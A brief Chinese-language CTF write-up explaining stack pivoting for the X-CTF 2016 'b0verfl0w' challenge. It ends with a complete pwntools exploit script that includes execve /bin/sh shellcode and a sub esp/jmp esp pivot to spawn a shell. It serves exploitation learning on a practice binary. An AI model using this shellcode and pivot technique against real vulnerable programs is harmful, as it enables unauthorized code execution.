X-CTF Quals 2016 - b0verfl0w [Stack Pivoting]
学习资料:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#stack-pivoting
为什么要使用?
(1)栈溢出时,覆盖后剩下的栈空间不够写exp、ROP等溢出利用
(2)开启了PIE,栈地址不固定,没法利用
要求:可以控制EIP或ESP的至少一个,利用gadgets:
pop esp;
sub esp xx,
jmp esp
从而控制程序流到我们的shellcode
例题:
可以控制的字符数为50 - 0x20 - 4 = 14个字节~是不够滴~
就要利用stack pivoting,将esp指向我们填入的buffer的起始地址
shellcode从这儿找
http://shell-storm.org/shellcode/
http://shell-storm.org/shellcode/files/shellcode-841.php
最后得到exp为
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = process("./b0verfl0w")
shell = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
jmp_esp_addr = 0x8048504
payload = shell + (0x20 - len(shell)) * "A" + "BBBB" + p32(jmp_esp_addr) + asm('sub esp, 0x28;jmp esp')
io.sendline(payload)
io.interactive()